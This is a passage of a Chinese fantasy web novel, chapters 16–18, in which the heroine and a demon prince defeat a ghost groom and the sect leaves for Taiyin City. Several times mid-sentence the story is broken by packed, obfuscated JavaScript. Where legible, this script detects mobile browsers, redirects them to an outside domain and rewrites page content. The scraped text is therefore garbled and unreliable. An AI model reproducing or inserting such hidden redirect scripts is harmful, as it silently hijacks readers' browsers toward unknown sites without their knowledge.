他挽起常栩的发丝，嗅着她的气息，颇为满意地说：“早就听闻奉月族是世间罕有的灵体，偏生这么巧在月圆之时与我相遇，难道不是缘分吗？” 常栩警觉地问：“你抓我想要做什么？” “别怕，我不会伤害你。”鬼新郎道，“你叫裳儿对吗？我知道很多人都垂涎奉月族，但我和他们不一样。只要你与我成亲，我就会一直保护你。” 鬼新郎循循善诱，常栩却不信他能这么好心。 为了拖延时间，她故作为难地说：“好吧，我不是不愿意，但是成亲需要情投意合，我对你还一点也不了解，至少要告诉我你的名字吧？” 鬼新郎温柔地说： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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鬼新郎上前一步挡在常栩身前，挥手将岳婉吟击退，语气颇为遗憾：“这么漂亮的姑娘，可惜了。若是早些遇见，我就娶你了。” 常栩冷不丁地开口问：“现在娶她，有何不可？” 反正也都是强娶，还分什么先来后到？她心想，要是这个鬼新郎看中岳婉吟，说不定还能触发一下女主光环。 没想到鬼新郎认真地说：“我是守节之人，一个男人只能娶一个妻子，否则夫妻之间怎么会有爱呢？而且爱是占有，若是男人有两个妻子，爱就不存粹了。” 常栩：“……” 这个变态居然坚持一夫一妻制。不过事到如今，她已经无力吐槽了。 鬼新郎用术法在空中画了个符咒，纸扎人的身上泛起紫光，动作顿时快了不少。岳婉吟再度被困在了院子里，难以靠近正堂。 他自信地说：“这两个人影响不了我们。看在你的面子上，我不杀她，如何？” 常栩沉默了一会儿，深吸一口气，掀起盖头，指着岳婉吟的方向：“你既然说了娶我，为何还让她留在这里，是不是不舍得？” 鬼新郎一愣。 常栩哼了一声，说：“我不喜欢她。你把她赶走，我就和你成亲。” 鬼新郎喜出望外：“裳儿，你这是吃醋了吗？你放心，她虽然美得剩你百倍，我也不会舍弃你而娶她的。但既然你都发话了，我哪有不从之理。” 说着，他挥动袖子，原本紧闭的大门“哐”地打开，岳婉吟还来不及反应，就被甩出了院子，看不见身影。 而后，鬼新郎邀功一般问道：“怎么样，现在满意了吗？” 常栩当然满意了。 因为，只要岳婉吟不在，宣凌那边也就不用装了。 几乎就在同时，一道剑气横贯庭院，劈开房门，在地上留下了深深的沟壑。残余的纸扎人们被悉数砍倒，让出一条路来。 常栩抬眼，看到墨衣的少年持剑而立，正朝着她一步一步走来。 宣凌看见鬼新郎贴在常栩身边，暧昧地抚摸她的脸，姿态肆意。 这一刻，他的理智似乎消失了。 他根本没有注意到岳婉吟是否离开，只想着斩断鬼新郎的手，将常栩拉回自己身边 宣凌刺破抵在剑尖的纸扎人，暗红的眼睛盯着鬼新郎，阴森地说：“放开她。” 16. 第十六章 意外收获 “差点忘了还有你。” 鬼新郎脸上的骨骼嘎吱作响，浮现出怒意。 几次三番的打断已经让他耐心告罄，他对常栩说：“裳儿，你在这里等我。待我杀了他，再来与你入洞房。” 说完，鬼新郎从腰间抽出了蛇形长鞭，阴恻恻地走向宣凌。 这是他今日第一次全力出手，红色的身影蜿蜒流动，快得不可思议。 宣凌方才耗费了不少气力，抵挡起来有些吃力，偏偏不肯后退，身上顿时出现了不少伤痕。 常栩本以为宣凌用了魔气就能对付鬼新郎，没想到竟然仍有不小的差距，不由得愕然。 不对，不只是这样…… 她观察了一会儿，发现宣凌的动作也有些奇怪，似乎少了些章法、多了些急切，完全不似平时的冷静克制。 看来现在不能指望宣凌了。 常栩可不想坐以待毙，她不动声色地移动脚步，想要趁鬼新郎不注意偷偷离开。 守在房间外的纸扎人们似有感应，在她即将踏出房门之际，一股有形的力量将她挡了回去，向后飞去，重重撞到柱子上。 正在打斗的宣凌注意到常栩的情况，忍不住分心看过去，动作一顿，被鬼新郎趁机打中了胸口。 他踉跄着后退几步，擦掉嘴角渗出的鲜血，一声不吭地再次出手。 “真是不怕死，为什么？” 就连鬼新郎也对他的执着感到疑惑，不解地问道。 随即，他明白了什么，幽幽道：“原来是这样。你喜欢裳儿，是也不是？” 宣凌的瞳孔一缩。 常栩被撞得天旋地转，过了好半天才从地上爬起来。 深感目前的副本非人力可通关，她准备找系统买个挂，脑子中突然传来消息。 【叮！恭喜宿主完成支线任务，您获得50羁绊值！】 【鉴于宿主累积获得羁绊值超过100，您获得一星福利“其利断金”！效果说明：当宿主与任务目标同心协力之时，双方功法将提高百分之二十。本福利被动触发，不耗费羁绊值，请宿主放心享用！】 常栩听得一头雾水，差点没反应过来：“什么意思？等等？怎么这么突然？” 还没等问清楚，她的眼前闪过一抹幽蓝的光。 下一刻，她愣在了原地。 常栩的身前，原本空无一人的房间陆续涌现出模糊的人影。她看到了十几名穿着婚衣的少女，正幽怨地望着她。 鬼新郎看了眼高悬的月亮，不想再浪费时间。他自觉胜券在握，准备一招了结碍事的家伙。 然而，甩出的鞭子却未能如预想中绞断宣凌的脖子，反倒被对方握住，同时，一股强大的力量传来—— 几乎就在这一瞬间，虚名剑划出银色的剑光，出其不意地砍在鬼新郎的腰上，红色的鲜血喷涌而出。 “原来，鬼也会流血的吗？” 宣凌歪着头，冷冷笑了，唇边含着一抹嗜血的笑意。 他并未松开鞭子，借力将鬼新郎扯到身前，任由鞭子割伤手掌也不放手。 鬼新郎脸色大变。他感觉宣凌的力量突然上涨，一时之间有些招架不住，咬牙问道：“小子，你做了什么！” 宣凌并不回答。他现在只想杀了鬼新郎，去往常栩的身边。 “哪儿来的疯子！” 鬼新郎意识到情况不太对，他的攻击无形中被消磨，根本无法杀掉宣凌。 这样下去，两个人还会缠斗很久，可他没时间耗在这里。 鬼新郎焦急地看着渐渐暗淡的月亮，有了退却的想法。 可想到好不容易得到的奉月族，又觉得不甘心。他索性放弃鞭子，闪身回到大堂，粗暴地拉起常栩的手：“起来，跟我走！” 常栩的发丝不知何时飘散开，她垂着头，缓缓开口了。 “玉郎，我回来了。你还爱我吗？” 诡异的语气让本就心慌的鬼新郎心里一震，不自觉定在原地：“裳儿，你说什么？” 常栩咯咯笑道：“你认不得我了吗？你不是说最喜欢看我笑了吗，你还说，只要我听话，你就不会吃我。玉郎，你怎么能说话不算数呢？” “不对、不对，你不是……” 鬼新郎反驳之际，宣凌已经紧随而至，从他的身后出手，剑气凛然。 仓促之间，他狼狈抵挡、且战且退，眼睛仍是死死盯着常栩。 “你到底是谁？” 常栩不知为何又哭了起来，哀怨地说：“玉郎，你为什么要怕我？我回来了，从此以后，你的每个新娘都是我，我会永远和你在一起。” 鬼新郎的面容有些狰狞：“胡说！我明明封印了你的魂魄，你不可能回来！” 常栩道：“所以你根本不爱我们，不是吗？你的爱都是假的，山盟海誓也是假的，你只是想吃我们而已。” “不是、我不是！” 鬼新郎被戳破谎言，一时间心神大乱。 宣凌找准时机，手中长剑贯穿了他的心口。 鬼新郎这一刻才注意到宣凌身上的魔气，满脸不可置信。不过已经晚了，魔气转瞬间封住了他的经脉，他无力地跪倒，再也无法起来。 常栩长长地舒了一口气，用袖子擦掉脸上的眼泪。 拜那个莫名其妙的“一星福利”所赐，她看到了围绕在鬼新郎身边的、死去新娘们的鬼魂。正因如此，她才想出这个方法，借此扰乱鬼新郎的心神。 看来效果还不错。 常栩从地上爬起来，正要说话，一柄剑从身后架在了她的脖子上。 过了几秒钟，她才后知后觉，不解地回头：“怎么了？” 宣凌冷着一张脸，问：“你是裳儿吗？” 莫非他也以为她被附身了？ 常栩有些哭笑不得：“当然是我了！方才那些话都是鬼魂告诉我的，她们没想夺舍我。” 宣凌放下剑，扫了一眼她看的方向：“若失有人敢夺舍你，我就算下到黄泉，也要让她魂飞魄散。” 原本站在一旁的鬼魂们察觉到不善的气息，默默躲开了。 常栩没想到宣凌反应这么大，不过总归是在关心她，心下一暖，露出灿烂的笑容：“宣凌哥哥真好！” 宣凌的脸色慢慢缓和下来。 地上的鬼新郎瞪着眼睛道：“你骗我！你怎么可能看到她们！” 常栩道：“是不是骗人你心里清楚，要不然你以为那些话是谁说的？我告诉你，她们就站在你身边，都在等着你死呢。” 鬼新郎仰头看了一圈空旷的周围，仍是不愿意相信：“我明明那么爱她们……她们为什么这么对我！” 常栩露出鄙夷的神情：“死到临头，能不能别自欺欺人了?你想吃她们，难道不是纯粹的欲望吗？你只是为你吃人找了个好听的借口罢了，别在我面前装深情，令人作呕。” 许是被女鬼们的怨气感染，她说这话的时候气鼓鼓的，就差用手指戳鬼新郎的脑袋了，一副打抱不平的样子。 宣凌也不阻止她，只是踩在鬼新郎的身上，防止他出手伤人。 常栩的这番话让鬼新郎大受打击。他不顾自己的处境，梗着脖子挣扎，恨恨对常栩说：“骗子、都是骗子！我就该吃了你，就该早一些吃了你，否则也不会被这样一个小子打败……只要我能吃掉你这个……” “聒噪。” 宣凌嫌鬼新郎话太多了，一剑拍在他嘴巴上，登时打掉了几颗牙齿，满口鲜血。 “宣凌哥哥，岳姑娘还在等我们，先出去吧。” 常栩怕鬼新郎说出她奉月族的身份，忙起身转移话题。 可奇怪的是，纵使宣凌打开了房门，她却无论如何都走不到门口，有一股无形的力量在阻拦她。 地上的鬼新郎嘿嘿笑了，口齿不清地说：“裳儿、姑娘，哪有拜堂拜到……一半就离开的新娘？我们已经结了、契约了，要是不嫁给我，你别想离开这里！” “契约？” 常栩抬起手臂，晃了晃手腕上红绳，“难道是这个东西？” 这个红绳是在来到这里后莫名其妙出现的，她试了好几次都没法摘下来。 宣凌拉过常栩的手，盯着红绳，眸光一暗。 常栩倒并不是很介意。拜堂而已，又不会少块肉。反正鬼新郎已经失败了，有宣凌在身旁，也不会再出现什么意外。 “那也只能这样了。” 宣凌却一言不发地走向鬼新郎，俯下身子，手上浮现云雾一般的紫色光芒，紧紧抓住鬼新郎的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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常栩感觉动弹不得。宣凌的力气很大，气息缠绕着她，让她有些窒息。 她一时情急，厉声道：“宣凌！” 这小子的魔抗怎么这么低，竟然中招了！ 这时候，远方传来岳婉吟的琴音传来，如同清泉洗涤宅邸。围在一旁咯咯笑的纸扎人们尖叫着跑开，躲在角落里瑟瑟发抖。 宣凌眸光一动，猛地清醒过来。 然后，他看见了怀中眼泪汪汪的常栩，正在无声地控诉他。 “……” 宣凌猛地后退几步，踩到了地上倒下的椅子，竟然险些摔倒。 慌乱间，他摘下了红绳，不敢看常栩，低声说：“抱歉。” 这还是宣凌第一次这么慌张，常栩原本还有几分不满，看他这样又觉得好笑，也就没了脾气。 “没事，应该是这个契约的问题。” 她随手将红绳随手扔在地上，“现在应该已经解除了，我们快离开这里吧。” 两个人踏出宅子，外面的岳婉吟正试图再次闯入，见他们安然无恙，才终于放松下来。 “裳儿姑娘怎么样了？那个鬼新郎呢？” 宣凌将装着鬼新郎尸体的口袋交给岳婉吟，道：“已经解决了。” 岳婉吟有些惊讶。她知晓鬼新郎的实力，可能不亚于杜泽良，竟然已经宣凌打败了？ “宣公子，你是怎么做到——” 说话间，身后的宅子轰隆一声，竟然迅速崩塌，转瞬之间，风吹日晒，须臾之间竟然变成了长满杂草的废墟。 常栩一时分不出是这宅子原本就是废墟，还是真的瞬间苍老。 同时，周围的景色竟然则随之变化了，原本鬼市上的行人和商贩都消失了，就连山路都变成了平地。 脚下的路铺上了青石，远方伫立起一座金碧辉煌的宫殿，被红色的宫墙阻隔，衣着古朴盔甲的守卫推开城门，走出一条长长的队伍。 坐在最高处那个人乘着金色的步撵，头上十二旒微微晃动。 那双不怒自威的眼睛，似乎正在看向他们。 17. 第十七章 红丝契 常栩发现，他们三人不知何时已经置身于熙熙攘攘的人群中。 这些人并非山市的妖邪，而是衣着古朴的百姓，见了步撵纷纷跪拜。恍惚间，常栩以为自己穿越到了古装电视剧里，所以才会看到了皇帝。 可这部小说不是修真世界观吗？哪里冒出来的鬼皇帝？ 常栩实在好奇，见岳婉吟露出讶异的目光，凑在她耳边悄悄问：“岳姑娘，你知道这个人？” 岳婉吟迟疑的点了点头：“我也只在古书上见过，看打扮，似乎是……景朝的皇帝。可是，景朝应该已经在五百年前就灭亡了才对。” 常栩：“……” 还真是鬼皇帝！这一天常栩已经见了太多鬼了，内心竟然还有一丝见怪不怪。 据岳婉吟所言，景朝是绵延四百余年的盛大王朝。 在它的统治末期，世间出现灵脉，修真者崛起，加之各地妖邪频出，最终分崩离析。这也是世间最后一个王朝。 说这些的时候，岳婉吟一直盯着那名“皇帝”，脸上隐有激动之色——毕竟，能亲眼见到史书上的人物，即便是在这人鬼难辨之地，也是一件值得欣喜的事情。 常栩对这些并不了解，兴致缺缺，转头看向宣凌。 从走出宅邸开始，宣凌就一言不发，她以为还在记挂拜堂的事儿，却见他手指扣着剑柄，无意识地摩挲。 顺着他的目光，常栩发现，宣凌与岳婉吟一样，都在凝视步撵中的皇帝。 常栩兀自纳闷。难道他也对历史感兴趣？ “停下。” 随着皇帝的话，车队停了下来。透过涌动的人流，常栩发现，那双漆黑的眼睛竟然在注视着他们。 随即，常栩感觉到难以言喻的威压，好像有一只大手在按着她，强迫下跪一般。她赶紧躲在宣凌身后，这才好受一些。 “你，过来。” 皇帝再次开口，目光笼罩着常栩三人，不知是对谁说的。 身披盔甲的护卫们得到命令，拨开人群朝他们走来，似乎要将他们强行带过去。 常栩注意到这群人身上涌现的鬼气，小声道：“怎么办？这些人好像很难对付。” 眼看护卫们包围过来，宣凌突然开口，对岳婉吟说：“快进城门！” 与此同时，他揽住常栩的妖，足见轻点、纵身跃起，从人群上方飞掠而过，奔向半开的城门缝隙。 “别跑！” 护卫的首领大喊一声，紧追不舍。 很快，三个人穿过城门来，进入到“皇城”之内——就在落地的一瞬间，眼前景象如幻影般消散，回过神来，他们已经回到了来时的山路上。 常栩看到了熟悉的、高耸入云的神像。 迷雾不知什么时候已经散去，头顶的天幕隐隐泛白，昭示着黑夜即将终结。 岳婉吟谨慎地回望身后，似乎怕追兵真的跟过来。常栩则盯着身前深不见底的悬崖，有些腿软：“那个，难道要跳下去吗？” 宣凌从怀中拿出一块玉佩，道：“裳儿，伸出手。” 常栩听话地照做了。玉佩被放在她的掌心，紧接着，她的手指传来细微的刺痛，血珠滴落到了玉佩上。 一阵白光闪过，眨眼的功夫，常栩发现自己竟然回到了焕山城的客栈之中。 她有些不敢相信，以为又是幻觉，仔细观察一番，才确信真的回来了。 常栩劫后余生地松了一口气，坐在床上仔细观察手上的玉佩，不知道这是宣凌从哪儿得来的好东西。 玉佩的下方缀着五条细绳，每个绳上各有一块剔透的玉石，其中一个出现了些许裂纹。 常栩以为宣凌和岳婉吟很快也会回来，然而等了半个小时，天都快亮了，始终不见人影。 难道又出了什么事儿？ 正当常栩胡思乱想之际，房间外出现了敲门声。她以为是两个人一起回来的，将玉佩放到桌子上，摆好笑脸打开门。 她迎面看到了一直乌黑的鸟。 常栩：“……？” 那鸟见了她，仿佛正房见小三，眼睛瞪的老大，不等她开口，就尖叫着问：“殿下！这个女人是谁！” 黑色的鸟叽叽喳喳，一副如临大敌的姿态。 常栩眨了眨眼睛，伸手拉住宣凌的衣袖，好奇地问：“宣凌哥哥，这又是什么东西？鸟竟然会说话的吗？” “我可是高贵的狂鸟！” 王乌重重地哼了一声，又是一个见识短浅的家伙！ 它心中不屑，正要开口嘲讽，宣凌制止了它，然后对常栩道：“只是个普通的鸟而已。若是害怕，我就不让它说话了。” 王乌：“……”殿下怎么不维护我了！ 它既震惊又委屈，可怜巴巴地看着宣凌。 可惜宣凌并没有看它它，而是温声对常栩说：“我想把这只鸟送给你，怎么样？它有些法力，能保护你。” 常栩的反应必王乌的还大——她可不想有个东西在旁边监视自己！ 于是她猛地摇头，装出害怕的样子：“不要！它长得太丑了，我怕它吃了我。” 王乌更生气了：“你才丑呢！” 常栩嘴巴一撇：“宣凌哥哥你看，它也不喜欢我，一直在瞪我，好凶啊……我不要它。” 宣凌认真地思索片刻：“那我要不要给它变个模样？粉色的你喜欢吗？” 常栩：“……倒也不必。” 王乌没想到，自己不在宣凌身边的这段时间，竟然有一个陌生女人鸠占鹊巢！瞧她这个样子，摆明了就是来和它抢殿下的！ 它努力张开翅膀，想要夺回宣凌的关注：“殿下，您别理她了，我们好长时间没见了，王乌有很多情报要告诉你！” 常栩马上抱着宣凌的手臂：“宣凌哥哥你别走，我害怕，刚才在鬼市太吓人了。天还没亮，你留下来陪我一会儿好不好？” 王乌一下子破防了，扑棱翅膀飞到常栩头上，生气地说：“你不许在殿下面前装可怜！你的事情怎么能和我的事情比——” 宣凌点了点头：“王乌，你先出去吧，有什么事情明天早上再说。” 王乌：“……” 这只喋喋不休的鸟终于蔫了，垂头丧气地飞出了门，活像没了半个魂儿。 王乌走后，宣凌似乎才想起来什么，欲盖弥彰地解释：“这是家里人留给我的宠物，我不是什么殿下，它乱叫的。” 常栩：“……” 是不是因为她一直表现得太过单纯了，宣凌就真以为她智商很低啊？ 那个自称王乌的什么狂鸟，很明显就是从危冥山而来。 常栩暗自琢磨了一下，也就是说，鬼市不光有妖邪鬼怪，还有魔族？ 要知道，魔族可是比妖邪鬼怪还要不容于世的存在。或许妖邪鬼怪还会有人愿意倾听他们的过往或苦衷，也有可能寻个地方与人类和睦相处，但魔族不行—— 人魔大战后，所有魔族不出危冥山。以天元宗为首的道清盟曾经发下严令，若有魔族，一经发现，天下共诛之。 如今的人界，至少在明面上，没有任何魔族的存在。 没想到，焕山城下的鬼市这般卧虎藏龙。要知道这可是第二大门派青离宫的势力范围，真不知道那群人是干什么吃的！ 不过，想到那位出言不逊的杜泽良，常栩又觉得，好像也不是很值得意外…… 收回思绪，常栩想起玉佩的事情，询问宣凌自己方才是如何回来的。 宣凌简单和她介绍这块“镜流之玉”。 这块玉佩已经和常栩绑定了，其中构筑着完整的阵法，只要她拿着玉佩，宣凌就可以将她传送到任何地点。 常栩大喜，这东西对她而言可谓十分方便，不用宣凌护送，她可以自己回永川镇了！ 她笑意盈盈地对宣凌说谢谢，而后眼睛一转：“宣凌哥哥，你那里有没有适合我修炼的法术？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362907|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宣凌：“为什么问这个？” “一直是宣凌哥哥在保护我，我不想这样。我也想要修炼法术，像岳姑娘那般，至少能保护自己。” 常栩说得诚恳。实际是觉得宣凌肯定在鬼市得到了不少好东西，她都抱了这么久大腿，蹭点好东西怎么了！ 结果宣凌只认真地说：“放心，我不会让人伤害你的。” 常栩继续忧虑：“可是我们总会分开的，我不能一直依靠宣凌哥哥。” 宣凌顿了一下：“为什么会分开？” 常栩说：“会因为各种事啊，你有很多事情要做，不可能一直在我身边。我也不能一直跟着你。” 宣凌的神色暗了下来，意味不明地说：“不会有那么一天的。” 见他不为所动，常栩只得放弃从他那里获取功法的尝试，心想看来这大腿抱得还不够好，还需再接再励！ 经历了一晚上的怪事，常栩很快犯困了，倒头躺在床上。 宣凌静静地坐着，见常栩迷迷糊糊地睡了过去，脸上流露出不易察觉的温柔笑意。 过了一会儿，他抬起右手，口中念了一句咒语。 紫色的光芒一闪而过，手腕处赫然出现了一条红绳，很快又消失不见。 常栩并不知道，红丝契出自魔界。而宣凌身为魔族的天才，熟悉百家典籍，也知晓红丝契意味着什么。 今日的拜堂，并非是解除红丝契的步骤，恰恰相反，那才是真正缔结契约的一环。 从此以后，两个人无论身在何处，都可以互相感应到对方的状态和情感，如同被红线牵引着，不离不弃。 很多年前，幼小的宣凌并不明白，为何魔尊要与他的父亲结下红丝契，害得他们总是连魔域的大门都走不出，就被抓回去。 而如今，在这异域人间，他突然能够理解自己那狂妄独裁的母亲了。 手腕上的契约如同第二个心脏，炽热地跳动着，属于另一个人的情感被红线传导过来，涌入脑海。 就好像，终于抓住了什么一样，宣凌感受到了难以言喻的、前所未有的安心。 他不懂这是否是鬼新郎一直念叨的“爱”。 但是无所谓。宣凌只知道，待日后解决了人界的事情，他也要将裳儿一起带回危冥山。 第二天一早，岳婉吟带着青离宫的人来到客栈，随行的还有那位胖胖的城主，抓着宣凌的手不放，感恩戴德、千恩万谢。 也不知道岳婉吟和宣凌达成了什么共识，她并没有提及鬼市发生的事儿，只说和宣凌意外发现了新娘失踪案的罪魁祸首，一起消灭了他。 苍华派的几个弟子受了青离宫这么多天白眼，总算扬眉吐气一回，也跟着容光焕发了些。 唯有杜泽良在那边疑神疑鬼，拉着岳婉吟小声质问：“你为什么会和那小子大半夜出城？” 岳婉吟知道他误会了，解释道：“师叔，我和宣公子只是凑巧遇见而已。而且他已经有心上人了，就是裳儿姑娘……” 没想到杜泽良更不高兴，瞪了一眼与常栩说话的宣凌，哼道：“没眼光的东西，有他后悔的时候。” 岳婉吟：“……” 常栩不知道岳婉吟和杜泽良在说什么，她才睡不到一个时辰就被吵醒，正百无聊赖地打着哈欠，漫不经心地想，太阴城那边也该出事了。 很快，青离宫那边的人先收到消息，太阴城发生了一些异状，杜泽良几人商量了一下，决定先行前往。 同时，庚微长老也通过玉牌，嘱咐宣凌，让他带人一同前往、帮衬一番。 常栩听了这些，知道自己应该找借口离开了。 没想到宣凌比她还着急，交代几句就带她来到焕山城外，让她先回永川镇，弄得常栩反倒有些不爽了—— 她有这么见不得人吗，非得藏着掖着！ 白光再次闪过，焕山城的景物消失在眼前。弹指之间，常栩久违地回到了永川镇的庭院中。 18. 第十八章 会合 苍华派，不息山。 天雪峰不愧是修炼圣地，自从回到许长生身体之后，常栩已经连续在此地修炼三天了，明显感觉到体内灵力猛涨。 “轰隆”一声，赤荧剑轻轻一划，就在石壁上留下了几道深深的沟壑，还有火焰灼烧后的灰黑痕迹。 这都是为了接下来的剧情做准备。 要知道，原著中的太阴城可是危机四伏，许多天元宗、青离宫的修士都着了道。常栩可不想在里面发生什么意外，于是拿出当初考研的毅力，起早贪黑、抓紧时间修炼。 也许是因为身上的伤势已被宣凌压制，她的修炼进展很快，已经彻底掌握了许长生的功法，甚至更上一层楼。 就在常栩修炼完成之际，陆小满匆匆赶来，面色是少见的惊惶。 “大师姐！不好了，不好了，太阴城出事了！” * 两个月前，太阴城中有人称出现了邪祟。庚微长老的弟子被派去那边调查，一直陆续有消息传回，并未发现异样。直到五天前，突然联系不上了。 也正是在那个时候，太阴城城门紧闭，无人能入。还没等附近的门派查清究竟，就在三天前，太阴城附近的所有人都看到，那边火光冲天，至今方灭，城内无一人逃出。 青离宫有感此事不同寻常，未敢轻举妄动，特召集附近门派共同查探。 太上阁内，掌门和二位长老已经坐定，谢千景以为此事不同寻常，不能轻率行事，是以将由庚微长老亲自带弟子前往太阴城。 堂下的弟子们忍不住窃窃私语。 庚微长老常年坐镇不息山，举足轻重，没想到掌门会派他带队，可见此次任务非同小可，也许凶险异常。 常栩站在一旁，若有所思。 原著中，这个副本主要为男女主感情线服务。太阴城中最重要的剧情之一，就是韩尚同和岳婉吟掉进了“情人阵”——两个人在里面成了一对幸福夫妻、快乐生活，差点就沉溺其中无法自拔。 最后还是韩尚同靠意志力清醒过来。不过阵法虽破，这段记忆却是留存下来，两个人由此互生情愫、不自觉情根深种。 许长生身为女配，可就没这么幸运了。 她落入了最为凶险的心魔阵，九死一生才苏醒过来，然后就看到韩尚同和岳婉吟眉目含情，因而对岳婉吟产生了嫉妒。 这嫉妒之情在许长生的心里生根发芽，最终让她在多年后的那一天，运用分身杀害岳婉吟。 常栩无法确定自己这个穿越者，是会被原主的心魔影响，还是会出现不一样的剧情变化？ 未知总是让人忐忑不安，她不自觉悠悠叹了口气。 谢千景正和两位长老商议此行安排，注意到她神色有异，马上抬起眼眸，柔声关切道：“长生怎么了？是不是哪里不舒服？” 堂内寂静了一瞬，所有人的目光都随之落在常栩的身上。 “……” 常栩面无表情地说：“无碍，不劳师尊挂心。” “对了，”谢千景想到了什么，自顾自地说，“我记得你上次下山被魔族所伤，想来还没有好完全，不宜涉险，便留在不息山吧。” 这并不是商量的语气。 常栩知道，这位掌门看着和蔼可亲，对许长生百般宠爱，却并非毫无原则。 自从她受伤之后，谢千景允许她闯入进禁地、放纵她肆意妄为，只有一样，就是不许下山。 为此，原著中的许长生曾经多次与谢千景吵架，百般置气。她觉得自己被小看了，拼着伤势偷偷下山，结果在太阴城吃了更大的亏。 常栩并不像许长生那样倔强，知道不能在这种事上和掌门硬碰硬，于是轻声道：“师尊，我的伤已经好的差不多了，不信你看。” 她主动伸出手臂，将手腕递给谢千景。 随后又说：“这段时间我已经反思过了，这次一定会小心，绝对不会像上次那样鲁莽大意。师尊这次就让我下山吧，好不好？” 一向冷淡的少女舒展眉眼，用平和的、甚至带有乞求的语气，坦然注视着谢千景，让他不由得有些愣住了。 其他人也露出意外的神色。他们对掌门的偏心早就见怪不怪，倒是没想到许长生竟然难得服软。 谢千景抬起手，过了一会儿，细细将她卷起的衣袖放下，缓缓道：“这是你对我的承诺吗？长生，若是你这次再负伤而回，师尊就真的再也不让你下山了。” 常栩听他说得平静，却深知这人言出必行，心头不由得掠过一丝压抑。 她好像稍微能够理解许长生为何对谢千景不耐烦了——这保护欲实在是过了头，让人有些喘不过来气。 但毕竟已经松口了，常栩也不好再讨价还价，郑重地点头：“我明白了。” 一旁的韩尚同适时说道：“师尊，弟子愿往，定会护好师姐。”沈星河紧随其后，也道：“师姐，我也可以，保护师姐。” 谢千景不咸不淡地点了点头，而后对韩尚同说：“听闻长生将齐洋的刀赠与你了。这是她看好你，你好生拿着，莫要辜负师姐。” 常栩：“……” 这话怎么怪怪的？她想要反驳，又想到原主确实喜欢韩尚同，没处说理去，只好黑着一张脸装作没听见。 陆小满听出了掌门的意思，急得直跺脚，凑到常栩身边，对穆蘅说：“师尊、掌门，我也去！我也可以保护师姐！” 穆蘅摇了摇头：“小满，你修为不够，还是让孟春……” 陆小满据理力争：“师兄上次已经出过任务了，也该轮到我了。师尊总不能一直不让我下山！” 孟春在旁边嗤笑一声：“你这丫头成日跟着大师姐，有心思修炼吗？” 陆小满瞪他：“你不也是想见岳婉吟吗？别以为我不知道，我可在你房间看到画像了，真不知羞！” 孟春登时涨红了脸：“陆小满！你竟然擅闯我的房间——” 眼看这对师兄妹就要争执起来了，穆蘅长老头痛地拍了拍桌子：“好了！那就小满去吧。孟春你留下，庚微长老不在，我需要你协助震宇管理戒律堂。” 孟春不情不愿领命，咬牙对陆小满说：“到时候遇到危险，可别哭爹喊娘！” 陆小满抱着常栩的手臂不撒手，喜笑颜开：“有大师姐在，我才不怕呢！是不是呀师姐？” 常栩：“……” 是谁刚才说要保护我的？ 庚微说：“那就这样定了。震宇你的伤还没好，这次就留下吧，记得和孟春好好管理。” 莫震宇经历齐洋之事以后，看样子沉稳了些，老老实实地道：“但凭师尊吩咐。” 众人说话间，角落里的一名圆脸少女始终用袖子蒙着脸，嘴里念叨着“看不见我看不见我”。 庚微环顾一圈，敲定了此行人选，道：“那就这么定了，事不宜迟，这便出发……” 少女还来不及松一口气，常栩瞥了她一眼，状似无意地说：“庚微长老，您忘了江霓了。” 顺着她的目光，弟子们自觉让出一条路来，让缩在柱子后面的少女无所遁形。 江霓震惊地看向常栩，不明白这位大师姐为什么会提起自己。 庚微道：“江霓？她做事糊涂，我怕她惹出麻烦来。” “师尊说得没错！”江霓点头如捣蒜，死死抱住柱子，“我才不要去那么诡异的地方，我可不想遇到危险！” 常栩给了陆小满一个眼色。 陆小满心领神会，跳到江霓身旁，将她从柱子上拖下来：“江霓！师姐的话你敢不听，小心我往你被窝里扔蛇！” 江霓坐在地上不肯起来：“陆小满是不是你想报复我，才让师姐带着我的？我做鬼都不会放过你的！” 陆小满冷笑：“活着都这个德行，做鬼能有什么出息？我才不怕！” 最终，还是庚微对江霓说师弟还等着你去救，她才心不甘情不愿地点了点头。 常栩在一旁笑而不语——她可知道，别看这丫头胆小如鼠，实际上是个深谙鬼道的天才。 原著中，正是在太阴城事件中，江霓崭露头角、一战成名，后面还成为了韩尚同的红颜知己之一，可谓小说前期的人气女配。 行走太阴城，少了她怎么能行？ * 事出紧急，几个人没有多做准备，马上出发。 走出太上阁，常栩正要唤出佩剑，就见庚微从袖中拿出一个小巧的、类似核桃的镂空圆球，中间悬着一只船。 常栩眼睛一亮。这应该就是云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362908|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 船了，她看小说的时候就曾想象过坐在里面，如今终于有机会尝试了。 在谢千景和穆蘅的注视下，云船载着众人从山巅起飞，没入云层。 然后，常栩就后悔了。 